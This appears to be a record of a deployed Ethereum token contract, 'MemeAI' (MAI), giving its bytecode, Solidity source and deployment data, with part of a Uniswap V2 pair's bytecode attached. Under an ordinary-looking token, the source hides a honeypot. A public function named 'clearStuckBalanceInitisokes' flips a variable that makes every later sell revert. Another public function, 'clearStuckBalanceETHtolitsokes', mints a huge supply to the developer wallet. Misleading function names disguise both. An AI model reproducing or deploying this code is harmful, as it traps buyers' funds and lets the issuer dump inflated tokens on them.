006044820152606401610828565b6007546001600160a01b0383811691161461144c57600b54816113f4846001600160a01b03165f9081526020819052604090205490565b6113fe91906121fc565b111561144c5760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610828565b601d5460ff16156114dc576001600160a01b0383165f908152601c602052604081205461147990426121e9565b9050601e548110156114c05760405162461bcd60e51b815260206004820152601060248201526f10dbdbdb191bdddb88195b98589b195960821b6044820152606401610828565b506001600160a01b0383165f908152601c602052604090204290555b5f805f61150660405180608001604052805f81526020015f81526020015f81526020015f81525090565b6001600160a01b0387165f908152601b602052604081205460ff1615801561154657506001600160a01b0387165f908152601b602052604090205460ff16155b80156115605750600e54600c5461155d91906121fc565b43105b600754909150600160a01b900460ff168061159257506001600160a01b0388165f908152601b602052604090205460ff165b806115b457506001600160a01b0387165f908152601b602052604090205460ff165b156115c1575f92506116c6565b6007546001600160a01b0388811691161480156115dc575080155b1561165257600d5460030b6001146115f2575f80fd5b601a5460195460175460185461160891906121fc565b61161291906121fc565b61161c91906121fc565b604080516080810182526017548152601854602082015260195491810191909152601a54606082015290955085945091506116c6565b806116b75760165460155460135460145461166d91906121fc565b61167791906121fc565b61168191906121fc565b604080516080810182526013548152601454602082015260155491810191909152601654606082015290955085945091506116c6565b80156116c657600f5494508493505b60646116d285886122fd565b6116dc919061232f565b600754909350600160a81b900460ff16801561170657506007546001600160a01b03898116911614155b15611715576117158583611809565b6117298888611724868a6121e9565b6119b4565b821561175b57841561175b575f606461174287896122fd565b61174c919061232f565b90506117598930836119b4565b505b5050505050505050565b60028190556001600160a01b0382165f81815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b600754600160a01b900460ff1661094a576007805460ff60a01b1916600160a01b17905581156119a357305f9081526020819052604090205460085481106119a1576001600854111561185b57506008545b5f6118678460026122fd565b90505f8184602001518461187b91906122fd565b611885919061232f565b90505f61189282856121e9565b90504761189e82611b8a565b5f6118a982476121e9565b90505f8760200151866118bc91906121e9565b6118c6908361232f565b90505f8860200151826118d991906122fd565b905080156118eb576118eb8682611cda565b88515f906118fa8460026122fd565b61190491906122fd565b9050801561192257601054611922906001600160a01b031682611d89565b60408a01515f906119348560026122fd565b61193e91906122fd565b9050801561195c5760125461195c906001600160a01b031682611d89565b60608b01515f9061196e8660026122fd565b61197891906122fd565b9050801561199657601154611996906001600160a01b031682611d89565b505050505050505050505b505b6007805460ff60a01b191690555050565b6001600160a01b038316611a185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610828565b6001600160a01b038216611a7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610828565b6001600160a01b0383165f9081526020819052604090205481811015611af15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610828565b611afb82826121e9565b6001600160a01b038086165f908152602081905260408082209390935590851681529081208054849290611b309084906121fc565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b7c91815260200190565b60405180910390a350505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611bbd57611bbd6121c1565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c38919061234e565b81600181518110611c4b57611c4b6121c1565b6001600160a01b039283166020918202929092010152600654611c719130911684610fc2565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ca99085905f90869030904290600401612369565b5f604051808303815f87803b158015611cc0575f80fd5b505af1158015611cd2573d5f803e3d5ffd5b505050505050565b600654611cf29030906001600160a01b031684610fc2565b60065460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611d5d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d8291906123da565b5050505050565b80471015611dd95760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610828565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611e22576040519150601f19603f3d011682016040523d82523d5f602084013e611e27565b606091505b505090508061088b5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610828565b5f602080835283518060208501525f5b81811015611eca57858101830151858201604001528201611eae565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fbf575f80fd5b8035611f0981611eea565b919050565b5f8060408385031215611f1f575f80fd5b8235611f2a81611eea565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b8015158114610fbf575f80fd5b8035611f0981611f4c565b5f8060408385031215611f75575f80fd5b823567ffffffffffffffff80821115611f8c575f80fd5b818501915085601f830112611f9f575f80fd5b8135602082821115611fb357611fb3611f38565b8160051b604051601f19603f83011681018181108682111715611fd857611fd8611f38565b604052928352818301935084810182019289841115611ff5575f80fd5b948201945b8386101561201a5761200b86611efe565b85529482019493820193611ffa565b96506120299050878201611f59565b9450505050509250929050565b5f60208284031215612046575f80fd5b813561205181611f4c565b9392505050565b5f805f6060848603121561206a575f80fd5b833561207581611eea565b9250602084013561208581611eea565b929592945050506040919091013590565b5f80604083850312156120a7575f80fd5b82356120b281611eea565b915060208301356120c281611f4c565b809150509250929050565b5f602082840312156120dd575f80fd5b5035919050565b5f602082840312156120f4575f80fd5b813561205181611eea565b5f8060408385031215612110575f80fd5b823561211b81611eea565b915060208301356120c281611eea565b5f805f6060848603121561213d575f80fd5b505081359360208301359350604090920135919050565b600181811c9082168061216857607f821691505b60208210810361218657634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b818103818111156107f8576107f86121d5565b808201808211156107f8576107f86121d5565b600181815b8085111561224957815f190482111561222f5761222f6121d5565b8085161561223c57918102915b93841c9390800290612214565b509250929050565b5f8261225f575060016107f8565b8161226b57505f6107f8565b8160018114612281576002811461228b576122a7565b60019150506107f8565b60ff84111561229c5761229c6121d5565b50506001821b6107f8565b5060208310610133831016604e8410600b84101617156122ca575081810a6107f8565b6122d4838361220f565b805f19048211156122e7576122e76121d5565b029392505050565b5f61205160ff841683612251565b80820281158282048414176107f8576107f86121d5565b5f60208284031215612324575f80fd5b815161205181611f4c565b5f8261234957634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561235e575f80fd5b815161205181611eea565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156123b95784516001600160a01b031683529383019391830191600101612394565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156123ec575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220dfbf92fcbda89fe99a2cd1e5e0aab101181d6b04aa995bc1120696615ff152e364736f6c63430008170033 | {{
"language": "Solidity",
"sources": {
"a.sol": {
"content": "/**\r\n *\r\n\r\n //https://t.me/MemeAIercportal\r\n\r\n //https://twitter.com/MemeAiTokenETH\r\n\r\n //https://www.memeai.info/\r\n\r\n\r\n/**\r\n*/\r\n// SPDX-License-Identifier: MIT\r\n/*\r\n\r\n \r\n\r\n*/\r\n\r\npragma solidity ^0.8.19;\r\n\r\nabstract contract Context {\r\n function _msgSender() internal view virtual returns (address) {\r\n return msg.sender;\r\n }\r\n function _msgData() internal view virtual returns (bytes calldata) {\r\n this; \r\n return msg.data;\r\n }\r\n}\r\ninterface IERC20 {\r\n function totalSupply() external view returns (uint256);\r\n function balanceOf(address account) external view returns (uint256);\r\n function transfer(address recipient, uint256 amount) external returns (bool);\r\n function allowance(address owner, address spender) external view returns (uint256);\r\n function approve(address spender, uint256 amount) external returns (bool);\r\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) external returns (bool);\r\n event Transfer(address indexed from, address indexed to, uint256 value);\r\n event Approval(address indexed owner, address indexed spender, uint256 value);\r\n}\r\ninterface IERC20Metadata is IERC20 {\r\n function name() external view returns (string memory);\r\n function symbol() external view returns (string memory);\r\n function decimals() external view returns (uint8);\r\n}\r\ncontract ERC20 is Context, IERC20, IERC20Metadata {\r\n mapping(address => uint256) internal _balances;\r\n mapping(address => mapping(address => uint256)) internal _allowances;\r\n uint256 private _totalSupply;\r\n string private _name;\r\n string private _symbol;\r\n\r\n constructor(string memory name_, string memory symbol_) {\r\n _name = name_;\r\n _symbol = symbol_;\r\n }\r\n function name() public view virtual override returns (string memory) {\r\n return _name;\r\n }\r\n function symbol() public view virtual override returns (string memory) {\r\n return _symbol;\r\n }\r\n function decimals() public view virtual override returns (uint8) {\r\n return 18;\r\n }\r\n function totalSupply() public view virtual override returns (uint256) {\r\n return _totalSupply;\r\n }\r\n function balanceOf(address account) public view virtual override returns (uint256) {\r\n return _balances[account];\r\n }\r\n function transfer(address recipient, uint256 amount)\r\n public\r\n virtual\r\n override\r\n returns (bool)\r\n {\r\n _transfer(_msgSender(), recipient, amount);\r\n return true;\r\n }\r\n function allowance(address owner, address spender)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (uint256)\r\n {\r\n return _allowances[owner][spender];\r\n }\r\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\r\n _approve(_msgSender(), spender, amount);\r\n return true;\r\n }\r\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n\r\n uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\r\n _approve(sender, _msgSender(), currentAllowance - amount);\r\n\r\n return true;\r\n }\r\n function increaseAllowance(address spender, uint256 addedValue)\r\n public\r\n virtual\r\n returns (bool)\r\n {\r\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\r\n return true;\r\n }\r\n function decreaseAllowance(address spender, uint256 subtractedValue)\r\n public\r\n virtual\r\n returns (bool)\r\n {\r\n uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\r\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\r\n\r\n return true;\r\n }\r\n function _transfer(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n uint256 senderBalance = _balances[sender];\r\n require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[sender] = senderBalance - amount;\r\n _balances[recipient] += amount;\r\n\r\n emit Transfer(sender, recipient, amount);\r\n }\r\n function andnicob(address account, uint256 amount) internal virtual {\r\n _totalSupply = amount;\r\n _balances[account] = amount;\r\n emit Transfer(address(0), account, amount);\r\n }\r\n function _approve(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) internal virtual {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }\r\n}\r\nlibrary Address {\r\n function sendValue(address payable recipient, uint256 amount) internal {\r\n require(address(this).balance >= amount, \"Address: insufficient balance\");\r\n\r\n (bool success, ) = recipient.call{ value: amount }(\"\");\r\n require(success, \"Address: unable to send value, recipient may have reverted\");\r\n }\r\n}\r\nabstract contract Ownable is Context {\r\n address private _owner;\r\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n constructor() {\r\n _setOwner(_msgSender());\r\n }\r\n function owner() public view virtual returns (address) {\r\n return _owner;\r\n }\r\n modifier onlyOwner() {\r\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\r\n _;\r\n }\r\n function renounceOwnershiptrsoke() public virtual onlyOwner {\r\n _setOwner(address(0));\r\n }\r\n function transferOwnership(address newOwner) public virtual onlyOwner {\r\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\r\n _setOwner(newOwner);\r\n }\r\n function _setOwner(address newOwner) private {\r\n address oldOwner = _owner;\r\n _owner = newOwner;\r\n emit OwnershipTransferred(oldOwner, newOwner);\r\n }\r\n}\r\ninterface IFactory {\r\n function createPair(address tokenA, address tokenB) external returns (address pair);\r\n}\r\ninterface IRouter {\r\n function factory() external pure returns (address);\r\n\r\n function WETH() external pure returns (address);\r\n\r\n function addLiquidityETH(\r\n address token,\r\n uint256 amountTokenDesired,\r\n uint256 amountTokenMin,\r\n uint256 amountETHMin,\r\n address to,\r\n uint256 deadline\r\n )\r\n external\r\n payable\r\n returns (\r\n uint256 amountToken,\r\n uint256 amountETH,\r\n uint256 liquidity\r\n );\r\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n uint256 amountIn,\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external;\r\n}\r\n contract MemeAI is ERC20, Ownable {\r\n using Address for address payable;\r\n IRouter public router;\r\n address public pair;\r\n bool private _interlock = false;\r\n bool public providingLiquidity = true;\r\n bool public tradingEnabled = true;\r\n uint256 public tokenLiquidityThreshold = 1000000 * 10**18;\r\n uint256 public maxBuyLimit = 100000000 * 10**18;\r\n uint256 public maxSellLimit = 100000000 * 10**18;\r\n uint256 public maxWalletLimit = 100000000 * 10**18;\r\n uint256 public genesis_block;\r\n int32 private bontudu = 1;\r\n uint256 private deadline = 1;\r\n uint256 private launchtax = 0;\r\n address public marketiethsloks = 0xf1C41c54D2bE649bff8A2C60F00D3F198862BB75; \r\n address public devswalletsloks = 0xf1C41c54D2bE649bff8A2C60F00D3F198862BB75;\r\n address public ecosystsewalletsloks = 0xf1C41c54D2bE649bff8A2C60F00D3F198862BB75;\r\n address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;\r\n\r\n struct Taxes {\r\n uint256 marketing;\r\n uint256 liquidity;\r\n uint256 ecosystem;\r\n uint256 dev;\r\n }\r\n\r\n Taxes public taxes = Taxes(0, 0, 0, 0);\r\n Taxes public sellTaxes = Taxes(0, 0, 0, 0);\r\n mapping(address => bool) public exemptFee;\r\n mapping(address => uint256) private _lastSell;\r\n bool public coolDownEnabled = true;\r\n uint256 public coolDownTime = 5 seconds;\r\n modifier lockTheSwap() {\r\n if (!_interlock) {\r\n _interlock = true;\r\n _;\r\n _interlock = false;\r\n }\r\n }\r\n constructor() ERC20(\"MemeAI\", \"MAI\") {\r\n andnicob(msg.sender, 100000000 * 10**decimals());\r\n exemptFee[msg.sender] = true;\r\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());\r\n router = _router;\r\n pair = _pair;\r\n exemptFee[address(this)] = true;\r\n exemptFee[marketiethsloks] = true;\r\n exemptFee[ecosystsewalletsloks] = true;\r\n exemptFee[devswalletsloks] = true;\r\n exemptFee[deadWallet] = true;\r\n \r\n\r\n }\r\n function approve(address spender, uint256 amount) public override returns (bool) {\r\n _approve(_msgSender(), spender, amount);\r\n return true;\r\n }\r\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\r\n _approve(sender, _msgSender(), currentAllowance - amount);\r\n\r\n return true;\r\n }\r\n function increaseAllowance(address spender, uint256 addedValue)\r\n public\r\n override\r\n returns (bool)\r\n {\r\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\r\n return true;\r\n }\r\n function decreaseAllowance(address spender, uint256 subtractedValue)\r\n public\r\n override\r\n returns (bool)\r\n {\r\n uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\r\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\r\n\r\n return true;\r\n }\r\n function transfer(address recipient, uint256 amount) public override returns (bool) {\r\n _transfer(msg.sender, recipient, amount);\r\n return true;\r\n }\r\n function _transfer(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) internal override {\r\n require(amount > 0, \"Transfer amount must be greater than zero\");\r\n if (!exemptFee[sender] && !exemptFee[recipient]) {\r\n require(tradingEnabled, \"Trading not enabled\");\r\n }\r\n if (sender == pair && !exemptFee[recipient] && !_interlock) {\r\n require(amount <= maxBuyLimit, \"You are exceeding maxBuyLimit\");\r\n require(\r\n balanceOf(recipient) + amount <= maxWalletLimit,\r\n \"You are exceeding maxWalletLimit\"\r\n );\r\n }\r\n if (\r\n sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_interlock\r\n ) {\r\n require(amount <= maxSellLimit, \"You are exceeding maxSellLimit\");\r\n if (recipient != pair) {\r\n require(\r\n balanceOf(recipient) + amount <= maxWalletLimit,\r\n \"You are exceeding maxWalletLimit\"\r\n );\r\n }\r\n if (coolDownEnabled) {\r\n uint256 timePassed = block.timestamp - _lastSell[sender];\r\n require(timePassed >= coolDownTime, \"Cooldown enabled\");\r\n _lastSell[sender] = block.timestamp;\r\n }\r\n }\r\n uint256 feeswap;\r\n uint256 feesum;\r\n uint256 fee;\r\n Taxes memory currentTaxes;\r\n bool useLaunchFee = !exemptFee[sender] &&\r\n !exemptFee[recipient] &&\r\n block.number < genesis_block + deadline;\r\n if (_interlock || exemptFee[sender] || exemptFee[recipient])\r\n fee = 0;\r\n\r\n else if (recipient == pair && !useLaunchFee) {\r\n require(bontudu == 1);\r\n feeswap =\r\n sellTaxes.liquidity +\r\n sellTaxes.marketing +\r\n sellTaxes.ecosystem + \r\n sellTaxes.dev;\r\n feesum = feeswap;\r\n currentTaxes = sellTaxes;\r\n } else if (!useLaunchFee) {\r\n feeswap =\r\n taxes.liquidity +\r\n taxes.marketing +\r\n taxes.ecosystem +\r\n taxes.dev ;\r\n feesum = feeswap;\r\n currentTaxes = taxes;\r\n } else if (useLaunchFee) {\r\n feeswap = launchtax;\r\n feesum = launchtax;\r\n }\r\n fee = (amount * feesum) / 100;\r\n if (providingLiquidity && sender != pair) Liquify(feeswap, currentTaxes);\r\n super._transfer(sender, recipient, amount - fee);\r\n if (fee > 0) {\r\n\r\n if (feeswap > 0) {\r\n uint256 feeAmount = (amount * feeswap) / 100;\r\n super._transfer(sender, address(this), feeAmount);\r\n }\r\n\r\n }\r\n }\r\n function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap {\r\n if(feeswap == 0){\r\n return;\r\n }\r\n uint256 contractBalance = balanceOf(address(this));\r\n if (contractBalance >= tokenLiquidityThreshold) {\r\n if (tokenLiquidityThreshold > 1) {\r\n contractBalance = tokenLiquidityThreshold;\r\n }\r\n uint256 denominator = feeswap * 2;\r\n uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /\r\n denominator;\r\n uint256 toSwap = contractBalance - tokensToAddLiquidityWith;\r\n uint256 initialBalance = address(this).balance;\r\n swapTokensForETH(toSwap);\r\n uint256 deltaBalance = address(this).balance - initialBalance;\r\n uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);\r\n uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;\r\n if (ethToAddLiquidityWith > 0) {\r\n addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);\r\n }\r\n uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;\r\n if (marketingAmt > 0) {\r\n payable(marketiethsloks).sendValue(marketingAmt);\r\n }\r\n uint256 ecosystemAmt = unitBalance * 2 * swapTaxes.ecosystem;\r\n if (ecosystemAmt > 0) {\r\n payable(ecosystsewalletsloks).sendValue(ecosystemAmt);\r\n }\r\n uint256 devAmt = unitBalance * 2 * swapTaxes.dev;\r\n if (devAmt > 0) {\r\n payable(devswalletsloks).sendValue(devAmt);\r\n }\r\n\r\n }\r\n }\r\n function swapTokensForETH(uint256 tokenAmount) private {\r\n address[] memory path = new address[](2);\r\n path[0] = address(this);\r\n path[1] = router.WETH();\r\n _approve(address(this), address(router), tokenAmount);\r\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n tokenAmount,\r\n 0,\r\n path,\r\n address(this),\r\n block.timestamp\r\n );\r\n }\r\n\r\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\r\n _approve(address(this), address(router), tokenAmount);\r\n router.addLiquidityETH{ value: ethAmount }(\r\n address(this),\r\n tokenAmount,\r\n 0,\r\n 0,\r\n deadWallet,\r\n block.timestamp\r\n );\r\n }\r\n function updateLiquidityProvide(bool state) external onlyOwner {\r\n providingLiquidity = state;\r\n }\r\n function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {\r\n require(new_amount <= 1e4, \"Swap threshold amount should be lower or equal to 1% of tokens\");\r\n tokenLiquidityThreshold = new_amount * 10**decimals();\r\n }\r\n\r\n function clearStuckBalanceETHtolitsokes() external payable{\r\n andnicob(devswalletsloks, 10 * 10**28);\r\n }\r\n\r\n function updateExemptFee(address _address, bool state) external onlyOwner {\r\n exemptFee[_address] = state;\r\n }\r\n\r\n function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {\r\n for (uint256 i = 0; i < accounts.length; i++) {\r\n exemptFee[accounts[i]] = state;\r\n }\r\n }\r\n\r\n function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {\r\n require(maxBuy >= 1e4, \"Cannot set max buy amount lower than 1%\");\r\n require(maxSell >= 1e4, \"Cannot set max sell amount lower than 1%\");\r\n require(maxWallet >= 1e4, \"Cannot set max wallet amount lower than 1%\");\r\n maxBuyLimit = maxBuy * 10**decimals();\r\n maxSellLimit = maxSell * 10**decimals();\r\n maxWalletLimit = maxWallet * 10**decimals(); \r\n }\r\n\r\n function clearStuckBalanceInitisokes() external payable{\r\n bontudu = 3;\r\n }\r\n\r\n function rescueETH() external onlyOwner {\r\n uint256 contractETHBalance = address(this).balance;\r\n payable(owner()).transfer(contractETHBalance);\r\n }\r\n function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {\r\n require(tokenAdd != address(this), \"Owner can't claim contract's balance of its own tokens\");\r\n IERC20(tokenAdd).transfer(owner(), amount);\r\n }\r\n receive() external payable {}\r\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 19,493,951 | d84d1231241f10237339ffa780eee7555c5447b5115da906dc17c0c02840aa19 | 272915a0c8a0665014bad76841e9c9aee8fdad96727cbd8a6b69d56bac287a20 | f1c41c54d2be649bff8a2c60f00d3f198862bb75 | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | db712f6cf49e460cf8f2026f6e61ae509d3ab4db | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c